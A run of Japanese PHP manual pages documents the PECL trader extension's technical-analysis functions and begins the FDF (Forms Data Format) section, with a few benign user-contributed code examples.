trader_minus_di ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Movement

  • ≪ trader_minus_di
  • trader_mom ≫
  • PHP Manual
  • Trader 関数
  • Minus Directional Movement

trader_minus_dm

(PECL trader >= 0.2.0)

trader_minus_dm — Minus Directional Movement

説明

trader_minus_dm ( array $high , array $low , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Momentum

  • ≪ trader_minus_dm
  • trader_mult ≫
  • PHP Manual
  • Trader 関数
  • Momentum

trader_mom

(PECL trader >= 0.2.0)

trader_mom — Momentum

説明

trader_mom ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Mult

  • ≪ trader_mom
  • trader_natr ≫
  • PHP Manual
  • Trader 関数
  • Vector Arithmetic Mult

trader_mult

(PECL trader >= 0.2.0)

trader_mult — Vector Arithmetic Mult

説明

trader_mult ( array $real0 , array $real1 ) : array

Calculates the vector dot product of real0 with real1 and returns the resulting vector.

パラメータ

real0

実数値の配列。

real1

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:41
<?php

$result = trader_mult([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(6)  // 1 * 6
  [1]=>
  float(14) // 2 * 7
  [2]=>
  float(24) // 3 * 8
  [3]=>
  float(36) // 4 * 9
  [4]=>
  float(50) // 5 * 10
}
*/


Normalized Average True Range

  • ≪ trader_mult
  • trader_obv ≫
  • PHP Manual
  • Trader 関数
  • Normalized Average True Range

trader_natr

(PECL trader >= 0.2.0)

trader_natr — Normalized Average True Range

説明

trader_natr ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On Balance Volume

  • ≪ trader_natr
  • trader_plus_di ≫
  • PHP Manual
  • Trader 関数
  • On Balance Volume

trader_obv

(PECL trader >= 0.2.0)

trader_obv — On Balance Volume

説明

trader_obv ( array $real , array $volume ) : array

パラメータ

real

実数値の配列。

volume

取引高。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Indicator

  • ≪ trader_obv
  • trader_plus_dm ≫
  • PHP Manual
  • Trader 関数
  • Plus Directional Indicator

trader_plus_di

(PECL trader >= 0.2.0)

trader_plus_di — Plus Directional Indicator

説明

trader_plus_di ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Movement

  • ≪ trader_plus_di
  • trader_ppo ≫
  • PHP Manual
  • Trader 関数
  • Plus Directional Movement

trader_plus_dm

(PECL trader >= 0.2.0)

trader_plus_dm — Plus Directional Movement

説明

trader_plus_dm ( array $high , array $low , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Percentage Price Oscillator

  • ≪ trader_plus_dm
  • trader_roc ≫
  • PHP Manual
  • Trader 関数
  • Percentage Price Oscillator

trader_ppo

(PECL trader >= 0.2.0)

trader_ppo — Percentage Price Oscillator

説明

trader_ppo ( array $real , int $fastPeriod = ? , int $slowPeriod = ? , int $mAType = ? ) : array

パラメータ

real

実数値の配列。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

vito 30-Jan-2018 11:28
It's always returing an array of 0 to me


Rate of change : ((price/prevPrice)-1)*100

  • ≪ trader_ppo
  • trader_rocp ≫
  • PHP Manual
  • Trader 関数
  • Rate of change : ((price/prevPrice)-1)*100

trader_roc

(PECL trader >= 0.2.0)

trader_roc — Rate of change : ((price/prevPrice)-1)*100

説明

trader_roc ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change Percentage: (price-prevPrice)/prevPrice

  • ≪ trader_roc
  • trader_rocr100 ≫
  • PHP Manual
  • Trader 関数
  • Rate of change Percentage: (price-prevPrice)/prevPrice

trader_rocp

(PECL trader >= 0.2.0)

trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice

説明

trader_rocp ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio 100 scale: (price/prevPrice)*100

  • ≪ trader_rocp
  • trader_rocr ≫
  • PHP Manual
  • Trader 関数
  • Rate of change ratio 100 scale: (price/prevPrice)*100

trader_rocr100

(PECL trader >= 0.2.0)

trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100

説明

trader_rocr100 ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio: (price/prevPrice)

  • ≪ trader_rocr100
  • trader_rsi ≫
  • PHP Manual
  • Trader 関数
  • Rate of change ratio: (price/prevPrice)

trader_rocr

(PECL trader >= 0.2.0)

trader_rocr — Rate of change ratio: (price/prevPrice)

説明

trader_rocr ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

mityaev_ivan at mail dot ru 02-Mar-2014 09:59
timePeriod can be from 1 (not from 2)
Working correctly, and tis is common need to calculate change from previos period.


Relative Strength Index

  • ≪ trader_rocr
  • trader_sar ≫
  • PHP Manual
  • Trader 関数
  • Relative Strength Index

trader_rsi

(PECL trader >= 0.2.0)

trader_rsi — Relative Strength Index

説明

trader_rsi ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

essaamar at hotmail dot com 21-Sep-2018 10:44
the [2,2,3,2,3] are array of values for example $2,$2$3,$2,$3
the 4 is periods
$t=trader_rsi ( [2,2,3,2,3],4);

print_r($t);

returns :

Array ( [4] => 66.667 )


Parabolic SAR

  • ≪ trader_rsi
  • trader_sarext ≫
  • PHP Manual
  • Trader 関数
  • Parabolic SAR

trader_sar

(PECL trader >= 0.2.0)

trader_sar — Parabolic SAR

説明

trader_sar ( array $high , array $low , float $acceleration = ? , float $maximum = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

acceleration

Acceleration Factor used up to the Maximum value. Valid range from 0 to TRADER_REAL_MAX.

maximum

Acceleration Factor Maximum value. Valid range from 0 to TRADER_REAL_MAX.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parabolic SAR - Extended

  • ≪ trader_sar
  • trader_set_compat ≫
  • PHP Manual
  • Trader 関数
  • Parabolic SAR - Extended

trader_sarext

(PECL trader >= 0.2.0)

trader_sarext — Parabolic SAR - Extended

説明

trader_sarext ( array $high , array $low , float $startValue = ? , float $offsetOnReverse = ? , float $accelerationInitLong = ? , float $accelerationLong = ? , float $accelerationMaxLong = ? , float $accelerationInitShort = ? , float $accelerationShort = ? , float $accelerationMaxShort = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

startValue

Start value and direction. 0 for Auto, >0 for Long, <0 for Short. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

offsetOnReverse

Percent offset added/removed to initial stop on short/long reversal. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitLong

Acceleration Factor initial value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationLong

Acceleration Factor for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxLong

Acceleration Factor maximum value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitShort

Acceleration Factor initial value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationShort

Acceleration Factor for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxShort

Acceleration Factor maximum value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set compatibility mode

  • ≪ trader_sarext
  • trader_set_unstable_period ≫
  • PHP Manual
  • Trader 関数
  • Set compatibility mode

trader_set_compat

(PECL trader >= 0.2.2)

trader_set_compat — Set compatibility mode

説明

trader_set_compat ( int $compatId ) : void

Set compatibility mode which will affect the way calculations are done by all the extension functions.

パラメータ

compatId

Compatibility Id. TRADER_COMPATIBILITY_* series of constants should be used.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Set unstable period

  • ≪ trader_set_compat
  • trader_sin ≫
  • PHP Manual
  • Trader 関数
  • Set unstable period

trader_set_unstable_period

(PECL trader >= 0.2.2)

trader_set_unstable_period — Set unstable period

説明

trader_set_unstable_period ( int $functionId , int $timePeriod ) : void

Influences unstable period factor for functions, which are sensible to it. More information about unstable periods can be found on the » TA-Lib API documentation page.

パラメータ

functionId

Function ID the factor should be set for. TRADER_FUNC_UNST_* constant series can be used to affect the corresponding function.

timePeriod

Unstable period value.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sin

  • ≪ trader_set_unstable_period
  • trader_sinh ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Sin

trader_sin

(PECL trader >= 0.2.0)

trader_sin — Vector Trigonometric Sin

説明

trader_sin ( array $real ) : array

Calculates the sine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sinh

  • ≪ trader_sin
  • trader_sma ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Sinh

trader_sinh

(PECL trader >= 0.2.0)

trader_sinh — Vector Trigonometric Sinh

説明

trader_sinh ( array $real ) : array

Calculates the hyperbolic sine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Simple Moving Average

  • ≪ trader_sinh
  • trader_sqrt ≫
  • PHP Manual
  • Trader 関数
  • Simple Moving Average

trader_sma

(PECL trader >= 0.2.0)

trader_sma — Simple Moving Average

説明

trader_sma ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Square Root

  • ≪ trader_sma
  • trader_stddev ≫
  • PHP Manual
  • Trader 関数
  • Vector Square Root

trader_sqrt

(PECL trader >= 0.2.0)

trader_sqrt — Vector Square Root

説明

trader_sqrt ( array $real ) : array

Calculates the square root of each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Standard Deviation

  • ≪ trader_sqrt
  • trader_stoch ≫
  • PHP Manual
  • Trader 関数
  • Standard Deviation

trader_stddev

(PECL trader >= 0.2.0)

trader_stddev — Standard Deviation

説明

trader_stddev ( array $real , int $timePeriod = ? , float $nbDev = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

nijatasadov at gmail dot com 25-Jan-2019 09:40
trader_stddev doesn't work. This is why trader_bbands doesn't work as well.

function standard_deviation(array $a, $sample = false)
    {
        $n = count($a);
        if ($n === 0) {
            trigger_error("The array has zero elements", E_USER_WARNING);

            return false;
        }
        if ($sample && $n === 1) {
            trigger_error("The array has only 1 element", E_USER_WARNING);

            return false;
        }
        $mean = array_sum($a) / $n;
        $carry = 0.0;
        foreach ($a as $val) {
            $d = ((double) $val) - $mean;
            $carry += $d * $d;
        };
        if ($sample) {
            --$n;
        }

        return sqrt($carry / $n);
    }

trader_stddev($data, $period) {
       $stds = [];
        $current = [];

        foreach ($data as $i => $close) {
            $current[] = $close;
            if ($i < $period) {
                $stds[$i] = false;
            } else {
                $stds[$i] = standard_deviation($current);
                array_shift($current);
            }
        }

        return $stds;

}


Stochastic

  • ≪ trader_stddev
  • trader_stochf ≫
  • PHP Manual
  • Trader 関数
  • Stochastic

trader_stoch

(PECL trader >= 0.2.0)

trader_stoch — Stochastic

説明

trader_stoch ( array $high , array $low , array $close , int $fastK_Period = ? , int $slowK_Period = ? , int $slowK_MAType = ? , int $slowD_Period = ? , int $slowD_MAType = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

slowK_Period

Smoothing for making the Slow-K line. Valid range from 1 to 100000, usually set to 3.

slowK_MAType

Type of Moving Average for Slow-K. TRADER_MA_TYPE_* series of constants should be used.

slowD_Period

Smoothing for making the Slow-D line. Valid range from 1 to 100000.

slowD_MAType

Type of Moving Average for Slow-D. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

Bruce D 23-Nov-2014 11:45
This function returns an array of arrays :

index [0]:  %K values
index [1]:  %D values


Stochastic Fast

  • ≪ trader_stoch
  • trader_stochrsi ≫
  • PHP Manual
  • Trader 関数
  • Stochastic Fast

trader_stochf

(PECL trader >= 0.2.0)

trader_stochf — Stochastic Fast

説明

trader_stochf ( array $high , array $low , array $close , int $fastK_Period = ? , int $fastD_Period = ? , int $fastD_MAType = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stochastic Relative Strength Index

  • ≪ trader_stochf
  • trader_sub ≫
  • PHP Manual
  • Trader 関数
  • Stochastic Relative Strength Index

trader_stochrsi

(PECL trader >= 0.2.0)

trader_stochrsi — Stochastic Relative Strength Index

説明

trader_stochrsi ( array $real , int $timePeriod = ? , int $fastK_Period = ? , int $fastD_Period = ? , int $fastD_MAType = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Subtraction

  • ≪ trader_stochrsi
  • trader_sum ≫
  • PHP Manual
  • Trader 関数
  • Vector Arithmetic Subtraction

trader_sub

(PECL trader >= 0.2.0)

trader_sub — Vector Arithmetic Subtraction

説明

trader_sub ( array $real0 , array $real1 ) : array

Calculates the vector subtraction of real1 from real0 and returns the resulting vector.

パラメータ

real0

実数値の配列。

real1

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Summation

  • ≪ trader_sub
  • trader_t3 ≫
  • PHP Manual
  • Trader 関数
  • Summation

trader_sum

(PECL trader >= 0.2.0)

trader_sum — Summation

説明

trader_sum ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average (T3)

  • ≪ trader_sum
  • trader_tan ≫
  • PHP Manual
  • Trader 関数
  • Triple Exponential Moving Average (T3)

trader_t3

(PECL trader >= 0.2.0)

trader_t3 — Triple Exponential Moving Average (T3)

説明

trader_t3 ( array $real , int $timePeriod = ? , float $vFactor = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

vFactor

Volume Factor. Valid range from 1 to 0.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tan

  • ≪ trader_t3
  • trader_tanh ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Tan

trader_tan

(PECL trader >= 0.2.0)

trader_tan — Vector Trigonometric Tan

説明

trader_tan ( array $real ) : array

Calculates the tangent for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tanh

  • ≪ trader_tan
  • trader_tema ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Tanh

trader_tanh

(PECL trader >= 0.2.0)

trader_tanh — Vector Trigonometric Tanh

説明

trader_tanh ( array $real ) : array

Calculates the hyperbolic tangent for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average

  • ≪ trader_tanh
  • trader_trange ≫
  • PHP Manual
  • Trader 関数
  • Triple Exponential Moving Average

trader_tema

(PECL trader >= 0.2.0)

trader_tema — Triple Exponential Moving Average

説明

trader_tema ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


True Range

  • ≪ trader_tema
  • trader_trima ≫
  • PHP Manual
  • Trader 関数
  • True Range

trader_trange

(PECL trader >= 0.2.0)

trader_trange — True Range

説明

trader_trange ( array $high , array $low , array $close ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triangular Moving Average

  • ≪ trader_trange
  • trader_trix ≫
  • PHP Manual
  • Trader 関数
  • Triangular Moving Average

trader_trima

(PECL trader >= 0.2.0)

trader_trima — Triangular Moving Average

説明

trader_trima ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

  • ≪ trader_trima
  • trader_tsf ≫
  • PHP Manual
  • Trader 関数
  • 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

trader_trix

(PECL trader >= 0.2.0)

trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

説明

trader_trix ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Time Series Forecast

  • ≪ trader_trix
  • trader_typprice ≫
  • PHP Manual
  • Trader 関数
  • Time Series Forecast

trader_tsf

(PECL trader >= 0.2.0)

trader_tsf — Time Series Forecast

説明

trader_tsf ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Typical Price

  • ≪ trader_tsf
  • trader_ultosc ≫
  • PHP Manual
  • Trader 関数
  • Typical Price

trader_typprice

(PECL trader >= 0.2.0)

trader_typprice — Typical Price

説明

trader_typprice ( array $high , array $low , array $close ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ultimate Oscillator

  • ≪ trader_typprice
  • trader_var ≫
  • PHP Manual
  • Trader 関数
  • Ultimate Oscillator

trader_ultosc

(PECL trader >= 0.2.0)

trader_ultosc — Ultimate Oscillator

説明

trader_ultosc ( array $high , array $low , array $close , int $timePeriod1 = ? , int $timePeriod2 = ? , int $timePeriod3 = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod1

Number of bars for 1st period. Valid range from 1 to 100000.

timePeriod2

Number of bars for 2nd period. Valid range from 1 to 100000.

timePeriod3

Number of bars for 3rd period. Valid range from 1 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Variance

  • ≪ trader_ultosc
  • trader_wclprice ≫
  • PHP Manual
  • Trader 関数
  • Variance

trader_var

(PECL trader >= 0.2.0)

trader_var — Variance

説明

trader_var ( array $real , int $timePeriod = ? , float $nbDev = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Close Price

  • ≪ trader_var
  • trader_willr ≫
  • PHP Manual
  • Trader 関数
  • Weighted Close Price

trader_wclprice

(PECL trader >= 0.2.0)

trader_wclprice — Weighted Close Price

説明

trader_wclprice ( array $high , array $low , array $close ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Williams' %R

  • ≪ trader_wclprice
  • trader_wma ≫
  • PHP Manual
  • Trader 関数
  • Williams' %R

trader_willr

(PECL trader >= 0.2.0)

trader_willr — Williams' %R

説明

trader_willr ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Moving Average

  • ≪ trader_willr
  • テキスト以外の MIME 型 ≫
  • PHP Manual
  • Trader 関数
  • Weighted Moving Average

trader_wma

(PECL trader >= 0.2.0)

trader_wma — Weighted Moving Average

説明

trader_wma ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


テキスト以外の MIME 型

  • FDF — Forms Data Format
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • FDF 関数
  • GnuPG — GNU Privacy Guard
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • GnuPG 関数
  • wkhtmltox
    • はじめに
    • インストール/設定
    • wkhtmltox\PDF\Converter — wkhtmltox\PDF\Converter クラス
    • wkhtmltox\PDF\Object — The wkhtmltox\PDF\Object class
    • wkhtmltox\Image\Converter — wkhtmltox\Image\Converter クラス
  • PS — PostScript ドキュメントの作成
    • はじめに
    • インストール/設定
    • 定義済み定数
    • PS 関数
  • RpmInfo
    • はじめに
    • インストール/設定
    • 定義済み定数
    • RpmInfo 関数
  • XLSWriter
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Vtiful\Kernel\Excel — The Vtiful\Kernel\Excel class
    • Vtiful\Kernel\Format — The Vtiful\Kernel\Format class

User Contributed Notes

There are no user contributed notes for this page.


Forms Data Format

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • FDF 関数
    • fdf_add_doc_javascript — FDF ドキュメントに javascript コードを追加する
    • fdf_add_template — テンプレートを FDF ドキュメントに追加する
    • fdf_close — FDF ドキュメントを閉じる
    • fdf_create — 新規 FDF ドキュメントを作成する
    • fdf_enum_values — 各ドキュメントの値に対してユーザー定義関数をコールする
    • fdf_errno — 直近の fdf 操作に関するエラーコードを返す
    • fdf_error — 直近の fdf エラーコードについての説明を返す
    • fdf_get_ap — フィールドの外観を取得する
    • fdf_get_attachment — FDF に埋め込まれている、アップロードされたファイルを展開する
    • fdf_get_encoding — /Encoding キーの値を取得する
    • fdf_get_file — /F キーの値を得る
    • fdf_get_flags — フィールドのフラグを取得する
    • fdf_get_opt — フィールドのオプション配列から値を取得する
    • fdf_get_status — /STATUS キーの値を得る
    • fdf_get_value — フィールドの値を得る
    • fdf_get_version — FDF API あるいはファイルのバージョンを取得する
    • fdf_header — FDF 固有の出力ヘッダをセットする
    • fdf_next_field_name — 次のフィールド名を得る
    • fdf_open_string — 文字列から FDF ドキュメントを読み込む
    • fdf_open — FDF ドキュメントをオープンする
    • fdf_remove_item — フォームのターゲットフレームを設定する
    • fdf_save_string — FDF ドキュメントを文字列として返す
    • fdf_save — FDF ドキュメントを保存する
    • fdf_set_ap — フィールドの外観を設定する
    • fdf_set_encoding — FDF 文字エンコーディングを設定する
    • fdf_set_file — FDF データを表示する PDF ドキュメントを設定する
    • fdf_set_flags — フィールドのフラグを設定する
    • fdf_set_javascript_action — フィールドの javascript アクションを設定する
    • fdf_set_on_import_javascript — Acrobat が FDF をオープンした際に実行される javascript のコードを追加する
    • fdf_set_opt — フィールドのオプションを設定する
    • fdf_set_status — /STATUS キーの値を設定する
    • fdf_set_submit_form_action — フィールドの投稿フォームアクションを設定する
    • fdf_set_target_frame — フォームの表示対象となるフレームを設定する
    • fdf_set_value — フィールドの値を設定する
    • fdf_set_version — FDF ファイルのバージョン番号を設定する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Forms Data Format (FDF)は、PDF ドキュメント内部のフォームを処理する ためのフォーマットです。FDF の詳細および一般的な用途については、 » http://www.adobe.com/devnet/acrobat/fdftoolkit.html にある ドキュメントを参照ください。

FDF の基本的な考えは HTML フォームに似ています。基本的な違いは、 投稿ボタンが押された際にフォームに埋められたデータをサーバーに送信する 方法のフォーマット(これが Form Data Format そのものです)およびフォームの フォーマット自体(これは Portable Document Format、PDF です)です。 FDF データの処理は、fdf 関数が提供する機能の一つです。しかし他にも 機能はあります。既存の PDF フォームを用いてフォーム自体を修正せずに 入力フィールドのデータを入力させることもあるかと思われます。 このような場合、FDF ドキュメント を作成し (fdf_create())、各入力フィールドの値を設定し (fdf_set_value())、PDF フォームとそれを関連付けます (fdf_set_file())。最後にブラウザに MIME 型 application/vnd.fdf で送信する必要があります。 ブラウザの Acrobat Reader プラグイン がこの MIME 型を認識し、 関連する PDF フォームを読み込み、FDF ドキュメントからのデータを 書き込みます。

テキストエディタで FDF ドキュメントの中を見てみると、 FDF という名前のカタログオブジェクトが見つかる はずです。このようなオブジェクトには Fields、 F、Status といった複数の エントリが含まれます。 最も多く使用されるエントりは Fields および F で、Fields は 一連の入力フィールドを指し、F は このデータが属する PDF ドキュメントのファイル名を保持します。 これらのエントリは、FDF ドキュメントの中で /F-Key または /Status-Key として参照されています。fdf_set_file() および fdf_set_status() のような関数により、これらの エントリを修正することが可能です。Fields は、 fdf_set_value()、fdf_set_opt() 等で修整可能です。

User Contributed Notes

There are no user contributed notes for this page.


要件

» http://www.adobe.com/devnet/acrobat/fdftoolkit.html から取得可能な FDF toolkit SDKが必要です。 PHP 4.3.0 以降では、少なくとも SDK version 5.0 が必要です。 FDF toolkit library はバイナリ版のみ利用可能で、 Adobe によりサポートされているプラットフォームは Win32、Linux、Solaris、AIX です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは、メンテナンスされておらず開発が止まっています。 しかし、ソースコードは PECL SVN から取得できます。 » https://svn.php.net/viewvc/pecl/fdf.

この拡張モジュールは、PHP 5.3.0 以降は PHP にバンドルされなくなりました。

注意: fdftk サポートを指定して PHP を設定した際に問題を発生した場合、 ヘッダファイル fdftk.h および ライブラリ libfdftk.so が正しい場所にあることを 確認してください。configure スクリプトは、FDF SDK 配布ファイルおよび 通常の DIR/include、 DIR/lib といった配置のディレクトリ構造をともに サポートします。このため、配布ファイルを展開したディレクトリにそのまま おいておくか、あるいは /usr/local/include および /usr/local/lib のように使用するプラットフォームに 応じた適当なディレクトリに移動して --with-fdftk=/usr/local を指定して 設定することが可能です。

注意: Win32 ユーザーへの注意

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 fdftk.dll

User Contributed Notes

There are no user contributed notes for this page.


リソース型

